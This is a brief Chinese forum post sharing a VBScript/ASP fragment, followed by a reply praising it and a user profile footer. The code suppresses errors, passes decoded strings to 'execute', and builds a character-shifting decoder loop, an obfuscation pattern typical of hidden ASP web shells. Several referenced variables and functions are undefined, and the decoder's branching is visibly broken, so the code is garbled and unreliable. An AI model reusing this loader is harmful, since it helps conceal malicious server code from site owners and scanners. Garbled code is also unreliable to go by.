原始宝宝

复制内容到剪贴板
代码:
on error resume next
execute(ucc(O1+O3))
O4="For i=1 To Len(e)"&h&"k=asc(mid(e,i,1))"&h&"If k=5 Then k=16"&h&"k=10"&h&"if k=8 Then"&h&"k=45"&h&"if k>81 and k<90 then"&h&"k=k+12"&h&"elseif k>89 and k<135 then"&h&"k=k-21"&h&"elseif k>39 and k<70 then"&h&"k=k+17"&h&"End If"&h&"e=e+chr(k)"&h&"Next"
有才，绝对有才。。 很好.
帖子660 精华4 积分5585 阅读权限100 性别男 在线时间247 小时 注册时间2005-9-2 最后登录2007-12-4 查看详细资料TOP

xuter
晶莹剔透§烈日灼然